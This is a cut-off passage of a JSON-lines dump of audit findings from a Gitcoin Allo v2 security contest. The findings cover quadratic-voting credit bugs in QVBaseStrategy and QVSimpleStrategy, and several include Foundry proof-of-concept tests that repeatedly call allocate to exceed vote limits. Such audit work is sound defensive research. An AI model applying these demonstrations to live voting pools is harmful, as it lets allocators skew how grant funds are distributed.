Detail\nIn the given code snippet, we observe a potential issue in the way voice credits are being accumulated for each recipient. The specific lines of code in question are:\n```solidity\nfunction _qv_allocate(\n ...\n ) internal onlyActiveAllocation {\n ...\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n ...\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n ...\n //E update allocator mapping voice for this recipient\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits; //E @question should be only _voiceCreditsToAllocate\n ...\n }\n```\nWe can see that at the end : \n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] = _allocator.voiceCreditsCastToRecipient[_recipientId] + _voiceCreditsToAllocate + _allocator.voiceCreditsCastToRecipient[_recipientId];\n```\n\nHere, totalCredits accumulates both the newly allocated voice credits (`_voiceCreditsToAllocate`) and the credits previously cast to this recipient (`creditsCastToRecipient`). Later on, this totalCredits is added again to `voiceCreditsCastToRecipient[_recipientId]`, thereby including the previously cast credits once more\n\n### Proof of Concept (POC):\nLet's consider a scenario where a user allocates credits in three separate transactions:\n\n1. Transaction 1: Allocates 5 credits\n- creditsCastToRecipient initially is 0\n- totalCredits = 5 (5 + 0)\n- New voiceCreditsCastToRecipient[_recipientId] = 5\n\n2. Transaction 2: Allocates another 5 credits\n- creditsCastToRecipient now is 5 (from previous transaction)\n- totalCredits = 10 (5 + 5)\n- New voiceCreditsCastToRecipient[_recipientId] = 15 (10 + 5)\n\n3. Transaction 3: Allocates another 5 credits\n- creditsCastToRecipient now is 15\n- totalCredits = 20 (5 + 15)\n- New voiceCreditsCastToRecipient[_recipientId] = 35 (20 + 15)\n\nFrom the above, we can see that the voice credits cast to the recipient are exponentially growing with each transaction instead of linearly increasing by 5 each time\n\n## Impact\nExponential increase in the voice credits attributed to a recipient, significantly skewing the results of the voting strategy( if one recipient receive 15 votes in one vote and another one receive 5 votes 3 times, the second one will have 20 votes and the first one 15)\nOver time, this could allow for manipulation and loss of trust in the voting mechanism and the percentage of amount received by recipients as long as allocations are used to calculate the match amount they will receive from the pool amount.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\n## Tool used\n\nManual Review\n\n## Recommendation\nCode should be modified to only add the new voice credits to the recipient's tally. The modified line of code should look like:\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] += _voiceCreditsToAllocate;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/048-best.md"}} +{"title":"QVBaseStrategy._qv_allocate() does not calculate _allocator.voiceCreditsCastToRecipient[_recipientId] correctly, as a result, the votes for each recipient and thus payout for each recipient will not be calculated correctly.","severity":"medium","body":"Fresh Indigo Platypus\n\nhigh\n\n# QVBaseStrategy._qv_allocate() does not calculate _allocator.voiceCreditsCastToRecipient[_recipientId] correctly, as a result, the votes for each recipient and thus payout for each recipient will not be calculated correctly.\n\n``QVBaseStrategy._qv_allocate()`` does not calculate ``_allocator.voiceCreditsCastToRecipient[_recipientId]`` correctly. The main issue is at L517, the amount to increase should be ``_voiceCreditsToAllocate`` instead of ``totalCredits``. \n\n## Vulnerability Detail\n\n``QVBaseStrategy._qv_allocate()`` will allocate a new amount of ``_voiceCreditsToAllocate`` to a recipient: \n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534)\n\nWhile L517 retrieves the existing ``voiceCreditsCastToRecipient`` for the recipient, L521 calculates the new total voice credits for the recipient. \n\n The main issue is at L517, the amount to increase should be ``_voiceCreditsToAllocate`` instead of ``totalCredits``. Alternatively, ``_allocator.voiceCreditsCastToRecipient[_recipientId]`` should be assigned with ``totalCredits`` instead of increasing it by ``totalCredits`` since ``totalCredits`` already includes the old value of ``_allocator.voiceCreditsCastToRecipient[_recipientId]``.\n\n## Impact\n``QVBaseStrategy._qv_allocate()`` does not calculate ``_allocator.voiceCreditsCastToRecipient[_recipientId]`` correctly, as a result, the votes for each recipient and thus payout for each recipient will not be calculated correctly. \n\n## Code Snippet\n\n## Tool used\nVScode\n\nManual Review\n\n## Recommendation\nWe assign ``_allocator.voiceCreditsCastToRecipient[_recipientId]`` with ``totalCredits`` instead of increasing it by ``totalCredits``:\n\n```diff\nfunction _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n- _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n+ _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n \n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/046.md"}} +{"title":"Vote inflation due to incorrect accounting","severity":"medium","body":"Brief Silver Porcupine\n\nhigh\n\n# Vote inflation due to incorrect accounting\nThe **voiceCreditsCastToRecipient** for allocators in [QVBaseStrategy.sol](https://github.com/allo-protocol/allo-v2/blob/8a41a342a0de7a2d5d7dbc5395d1da44cb811348/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534) is updated incorrectly, which leads to incorrect delegation of voting power.\n\n## Vulnerability Detail\n\nThe **_qv_allocate** function in **QVBaseStrategy.sol** allocates votes from allocator to a recipient using quadratic voting. It then updates the **voiceCreditsCastToRecipient** for the current allocator and should save the total credits that the allocator has used for the given recipient. The issue arises when a given allocator decides to allocate voting credits to the same recipient more than one time.\n\nThe function uses a local variable **totalCredits** to store the amount of credits allocated up until now plus the amount of credits that are going to be used for allocation.\n\n```jsx\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n```\n\nAfter that these totalCredits should be saved in **voiceCreditsCastToRecipient**, but instead the code adds them on top of the already casted credits\n\n```jsx\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n```\n\nThe next time this allocator votes, he will have more voting power due to the incorrect **totalCredits**\n\n```jsx\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n```\n## Impact\n\nAllocators can cast more votes that allowed.\n\n## Code Snippet\n\n```jsx\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nInstead of adding new credits, update the old value with the current one: \n\n```jsx\n _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/015.md"}} +{"title":"The voiceCredits of the allocator are not updated when he allocates his voice credits","severity":"medium","body":"Brilliant Carmine Porpoise\n\nmedium\n\n# The voiceCredits of the allocator are not updated when he allocates his voice credits\n\nWhen an allocater allocates his voice credits in `QVBaseStrategy` the voice credits cannot exceed the available voice credits for the allocator. However when `_qv_allocate()` is called the `voiceCredits` for the allocator are not updated so he will always have unlimited `voiceCredits` to allocate to the recipients.\n\n## Vulnerability Detail\n\nEach allocator should have a limited amount of votes to cast to the recipients. However `allocator.voiceCredits` which is supposed to be used to track the allocator `voiceCredits` isnt updated so the allocator can exceed the max limit and because it isnt updated he will have unlimited voice credits.\n\n## Impact\n\nThe allocator can use more than allowed voice credits which will lead to unfair voting because anyone can just allocate as much as they want to and the funds will then be distributed in an unfair way. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506\n\n```solidity\n\nFile: strategies/qv-base/QVBaseStrategy.sol\n\n506: function _qv_allocate(\n507: Allocator storage _allocator,\n508: Recipient storage _recipient,\n509: address _recipientId,\n510: uint256 _voiceCreditsToAllocate,\n511: address _sender\n512: ) internal onlyActiveAllocation {\n513: // check the `_voiceCreditsToAllocate` is > 0\n514: if (_voiceCreditsToAllocate == 0) revert INVALID();\n515: \n516: // get the previous values\n517: uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n518: uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n519: \n520: // get the total credits and calculate the vote result\n521: uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n522: uint256 voteResult = _sqrt(totalCredits * 1e18);\n523: \n524: // update the values\n525: voteResult -= votesCastToRecipient;\n526: totalRecipientVotes += voteResult;\n527: _recipient.totalVotesReceived += voteResult;\n528: \n529: _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n530: _allocator.votesCastToRecipient[_recipientId] += voteResult;\n531: \n532: // emit the event with the vote results\n533: emit Allocated(_recipientId, voteResult, _sender);\n534: }\n\n```\n\nAs you can see in `_qv_allocate()` the `_allocator.voiceCredits` are not updated.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUpdate the voiceCredits in `_qv_allocate()`\n\n```solidity\n_allocator.voiceCredits += _voiceCreditsToAllocate;\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/944.md"}} +{"title":"`allocator.voiceCredits` not increased allowing allocators to allocate any amount","severity":"medium","body":"Elegant Bubblegum Mink\n\nmedium\n\n# `allocator.voiceCredits` not increased allowing allocators to allocate any amount\n\nDue to no update to the voiceCredits of an allocator, any allocator may give any recipient any amount of votes.\n\n## Vulnerability Detail\n\nWhen allocating votes to a recipient in the `QVSimpleStrategy` contract, the `_allocate` function checks that the allocator has enough voice credits to allocate. Since the allocator's voiceCredits is not updated after allocating to the recipient, the allocator is able to continuosly allocate a maximum of `maxVoiceCreditsPerAllocator`.\n\n## Impact\n\nAn allocator can bypass `maxVoiceCreditsPerAllocator`` and give recipient or many recipients any amount of votes.\n\n## Code Snippet\n\n[QVSimpleStrategy.sol#L121](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121)\n\n[QVSimpleStrategy.sol#L144-L151](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIncrease the allocator's voiceCredits by the voiceCreditsToAllocate amount.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/943.md"}} +{"title":"QVSimpleStrategy: unlimited voting is possible","severity":"medium","body":"Micro Heather Rabbit\n\nhigh\n\n# QVSimpleStrategy: unlimited voting is possible\n\n`allocator.voiceCredits` is never increased. So the check at the line L#121 does not work correctly and the `_sender` can use an unlimited amount of credits.\n\n## Vulnerability Detail\n\nThe `QVSimpleStrategy._allocate` function checks if the `_sender` has voice credits left at the line L#121. The max amount of credits is limited by `maxVoiceCreditsPerAllocator` value. But the `allocator.voiceCredits` is never increased. So the `_sender` can call the function many times with `voiceCreditsToAllocate <= maxVoiceCreditsPerAllocator`.\n`QVSimpleStrategy._allocate`:\n```solidity\n121 if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n\n122 _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n```\n`QVSimpleStrategy._hasVoiceCreditsLeft`:\n```solidity\n144 function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n145 internal\n146 view\n147 override\n148 returns (bool)\n149 {\n150 return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n151 }\n```\n\n## Impact\n\nIt is possible to use an unlimited amount of credits for voting, but should not be.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider increasing `allocator.voiceCredits` after the check at the line L#121.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/939.md"}} +{"title":"a user can vote unlimited times","severity":"medium","body":"Short Coffee Crab\n\nhigh\n\n# a user can vote unlimited times\nwhen a user allocate votes **allocator.voiceCredits** is not updated which will lead to a user can vote unlimted times but each time the new amount should be less than the **maxVoiceCreditPerAllocator**\n## Vulnerability Detail\nwhen a user allocate votes **allocator.voiceCredits** is not updated which will always be 0 and the the function **QVSimpleStrategy.allocate** uses **allocator.voiceCredits** to check the remaining amount by subtracting the new amount the user wanted to allocate plus allocator.voicecredit with **maxVoiceCreditsPerAllocator* if it is grater than it will revert \n`if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID(); so the user can allocate vote many time but at one time the vote should always be less than or equal to **maxVoiceCreditsPerAllocato** \n## Impact\nwrong vote \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121\n## Tool used\n\nManual Review\n\n## Recommendation\nupdate allocator.voiceCredits each time when he votes","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/885.md"}} +{"title":"Infinite Voting in QVSimpleStrategy","severity":"medium","body":"Oblong Clay Kangaroo\n\nhigh\n\n# Infinite Voting in QVSimpleStrategy\nThere is no update to the credit used in QVSimpleStrategy's `_allocate`, so voting can continue without consuming credit.\n## Vulnerability Detail\n### details\n\nQVSimpleStrategy's `_allocate` checks if there are any VoiceCredits left via `_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)`.\n\nHowever, it does not update `allocator.voiceCredits` after `_allocate`.\n\nTherefore, user can continue to allocate as many times as `maxVoiceCreditsPerAllocator`, which can lead to vote manipulation.\nPOC:\n\n```solidity\nfunction test_Infinite_allocate() public {\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n\n vm.startPrank(pool_manager2());\n qvSimpleStrategy().addAllocator(allocator);\n\n vm.warp(allocationStartTime + 10);\n bytes memory allocateData;\n\n vm.stopPrank();\n\n for(uint256 i =0;i<100;i++) {\n allocateData = __generateAllocation(recipientId, 100);\n vm.prank(address(allo()));\n qvSimpleStrategy().allocate(allocateData, allocator);\n }\n }\n```\n\nResult:\n\n```solidity\n[PASS] test_Infinite_allocate() (gas: 2886076)\nLogs:\n voiceCreditsCastToRecipient 100\n votesCastToRecipient 10000000000\n voiceCreditsCastToRecipient 300\n ...\n voiceCreditsCastToRecipient 15845632502852867518708790067100\n votesCastToRecipient 2814749767106560000000000\n voiceCreditsCastToRecipient 31691265005705735037417580134300\n votesCastToRecipient 3980657295328607852889883\n voiceCreditsCastToRecipient 63382530011411470074835160268700\n votesCastToRecipient 5629499534213120000000000\n voiceCreditsCastToRecipient 126765060022822940149670320537500\n votesCastToRecipient 7961314590657215705779767\n```\n## Impact\nallocate can still be done, which can manipulate the vote.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\n## Tool used\n\nManual Review\n\n## Recommendation\nThe number of credits used in `_allocate` should be added to `allocator.voiceCredits`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/877.md"}} +{"title":"QVSimpleStrategy.sol: `allocator.voiceCredits` is never updated","severity":"medium","body":"Spicy Canvas Gazelle\n\nhigh\n\n# QVSimpleStrategy.sol: `allocator.voiceCredits` is never updated\n\nQVSimpleStrategy.sol: `allocator.voiceCredits` is never updated. This is used in the function `_hasVoiceCreditsLeft` to check if they have votes left, but this value is never updated, so the limit is never hit.\n\n## Vulnerability Detail\n\nThe function `_allocate` in `QVSimpleStrategy.sol` is used to allcoate votes for a recipient. This is done using quadratic voting. In the `_allocate` function, first the caller is checked to make sure they are eligibile to vote. Then the function `_hasVoiceCreditsLeft` is called to check if the voter has any voting credits left. If so, they can assign their votes to a specific recipient.\n\n```solidity\nfunction _allocate(bytes memory _data, address _sender) internal virtual override {\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n}\n```\n\nAny allocator can allocate some of their votes to any eligible recipient. The function `_hasVoiceCreditsLeft` makes sure that a single allocator does not put in more votes than the max limit.\n\n```solidity\nfunction _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n```\n\nFor this check, the `allocator.voiceCredits` is used. However, the issue is that after a vote, this `allocator.voiceCredits` is not updated to reflect the votes put in. The allocator struct is updated in the `_qv_allocate` function. The update steps are shown below.\n\n```solidity\nvoteResult -= votesCastToRecipient;\ntotalRecipientVotes += voteResult;\n_recipient.totalVotesReceived += voteResult;\n\n_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n_allocator.votesCastToRecipient[_recipientId] += voteResult;\n```\n\nOnly the `voiceCreditsCastToRecipient` and `votesCastToRecipient` are updated. The `allocator.voiceCredits` is not updated. This means the `_hasVoiceCreditsLeft`\nfunction will always return true, since `allocateor.voiceCredits` is always 0.\n\n## Impact\n\nThe `maxVoiceCreditsPerAllocator` check is never done. Allocators can vote multiple times for recipients without any upper limit.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUpdate `allocator.voiceCredits` when the other fields are being updated.\n\n```solidity\nallocator.voiceCredits += totalCredits;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/865.md"}} +{"title":"`allocator.voiceCerdits` is not used in `QVSimpleStrategy` which the alloactor can vote unlimited times","severity":"medium","body":"Jumpy Pear Beaver\n\nhigh\n\n# `allocator.voiceCerdits` is not used in `QVSimpleStrategy` which the alloactor can vote unlimited times\n`allocator.voiceCredits` is not updated to check how many credits the allocator has used so they can cast more votes than the `maxVoiceCreditsPerAllocator`\n## Vulnerability Detail\n`allocator.voiceCredits` is not updated in `_qv_allocate` \nex:\nmax=10\nThe allocator calls `_qv_allocate` 10 times getting 10 votes each call \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506\nas you can see in this function there is no setting of `allocator.voiceCredits`\n## Impact\nBreaks the core invariant that max is the most the allocator can vote and so when allocation ends the recipient chosen will end up with more votes getting more funds \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121\n```solidity\n// @auditor the check \n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n }\n// _hasVoiceCreditsLeft\n function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n```\nthe test and just set the max to 10 in the setUp and the test will pass \n```solidity\nfunction test_allocate_reverts() public virtual {\n address allocator = randomAddress();\n address recipientId= __register_accept_allocate_recipient();\n vm.startPrank(pool_manager2());\n vm.warp(allocationStartTime+10);\n bytes memory allocateData = __generateAllocation(recipientId, 10);\n vm.stopPrank();\n vm.startPrank(address(allo()));\n bytes memory allocateData2= __generateAllocation(recipientId,10);\n qvStrategy().allocate(allocateData, allocator);\n qvStrategy().allocate(allocateData2,allocator);\n}\n\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nset it to the number of votesCredits the allocator set \n```solidity\nallocator.voiceCredits+= voiceCreditsToAllocate\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/821.md"}} +{"title":"Allocator Can Exceed maxVoiceCreditsPerAllocator Limit","severity":"medium","body":"Fierce Pearl Falcon\n\nhigh\n\n# Allocator Can Exceed maxVoiceCreditsPerAllocator Limit\n\nA loophole in the QV Simple Strategy allows allocators to utilize more voice credits than what's specified by the `maxVoiceCreditsPerAllocator` limit, undermining the integrity of the voting mechanism.\n\n## Vulnerability Detail\n\nIn the QV Simple Strategy, an allocator's maximum voice credit allowance is constrained by the `maxVoiceCreditsPerAllocator` variable.\n\n /// @notice The maximum voice credits per allocator\n uint256 public maxVoiceCreditsPerAllocator;\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L42-L43\n\nDespite this, allocators can exceed this limit due to an oversight: the `allocator.voiceCredits` value, which tracks utilized voice credits, isn't updated after each allocation.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\nConsequently, the `canAllocate` function's check for remaining voice credits will always return true, bypassing the intended limit.\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L120-L121\n\n\n function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151\n\n\nPut in: test/foundry/strategies/QVSimpleStrategy.t.sol\n\n function test_allocate_INVALID_tooManyVoiceCredits() public {\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n\n vm.startPrank(pool_manager2());\n qvSimpleStrategy().addAllocator(allocator);\n\n vm.warp(allocationStartTime + 10);\n\n bytes memory allocateData = __generateAllocation(recipientId, 50);\n\n vm.stopPrank();\n\n // Max voice credit 100 but can allocate 50 * 4 = 200\n vm.startPrank(address(allo()));\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n }\n\n## Impact\n\nThis loophole allows an allocator to vote multiple times for recipients, exceeding their `maxVoiceCreditsPerAllocator` quota. This can distort the vote results and misallocate funds.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the following line of code to update the `allocator.voiceCredits` after each vote allocation:\n\n allocator.voiceCredits += voiceCreditsToAllocate;","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/786.md"}} +{"title":"`QVBaseStrategy.sol`: `allocator.voiceCredits` is not updated, allowing a recipient to be allocated an infinite number of votes","severity":"medium","body":"Best Porcelain Wolverine\n\nhigh\n\n# `QVBaseStrategy.sol`: `allocator.voiceCredits` is not updated, allowing a recipient to be allocated an infinite number of votes\nThe `allocator.voiceCredits` is not updated, allowing a recipient to be allocated an infinite number of votes.\n\n## Vulnerability Detail\nThe `_allocator.voiceCredits` is not updated in the `_qv_allocate` function.\n\nHere is the PoC:\n```diff\ndiff --git a/allo-v2/test/foundry/strategies/QVSimpleStrategy.t.sol b/allo-v2/test/foundry/strategies/QVSimpleStrategy.t.sol\nindex 3dc47ae..ad9c52a 100644\n--- a/allo-v2/test/foundry/strategies/QVSimpleStrategy.t.sol\n+++ b/allo-v2/test/foundry/strategies/QVSimpleStrategy.t.sol\n@@ -323,4 +323,23 @@ contract QVSimpleStrategyTest is QVBaseStrategyTest {\n function qvSimpleStrategy() internal view returns (QVSimpleStrategy) {\n return (QVSimpleStrategy(_strategy));\n }\n+\n+ function test_allocate_infinite_vote() public {\n+ address recipientId = __register_accept_recipient();\n+ address allocator = randomAddress();\n+\n+ vm.startPrank(pool_manager2());\n+ qvSimpleStrategy().addAllocator(allocator);\n+\n+ vm.warp(allocationStartTime + 10);\n+\n+ vm.stopPrank();\n+\n+ vm.startPrank(address(allo()));\n+ bytes memory allocateData = __generateAllocation(recipientId, 100);\n+ qvSimpleStrategy().allocate(allocateData, allocator);\n+ qvSimpleStrategy().allocate(allocateData, allocator);\n+ qvSimpleStrategy().allocate(allocateData, allocator);\n+ qvSimpleStrategy().allocate(allocateData, allocator);\n+ }\n }\n```\n\n## Impact\nThe allocator can allocate infinite votes to recipients. \nA recipient with an infinite number of votes can be distributed with almost all of the funding.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd `_allocator.voiceCredits += _voiceCreditsToAllocate;` in `_qv_allocate`.\n```diff\ndiff --git a/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol b/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol\nindex 24a99d4..9793455 100644\n--- a/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol\n+++ b/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol\n@@ -528,6 +528,7 @@ abstract contract QVBaseStrategy is BaseStrategy {\n \n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n+ _allocator.voiceCredits += _voiceCreditsToAllocate;\n \n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/739.md"}} +{"title":"Allocators in `QVSimpleStrategy.sol` can allocate multiple times","severity":"medium","body":"Mini Garnet 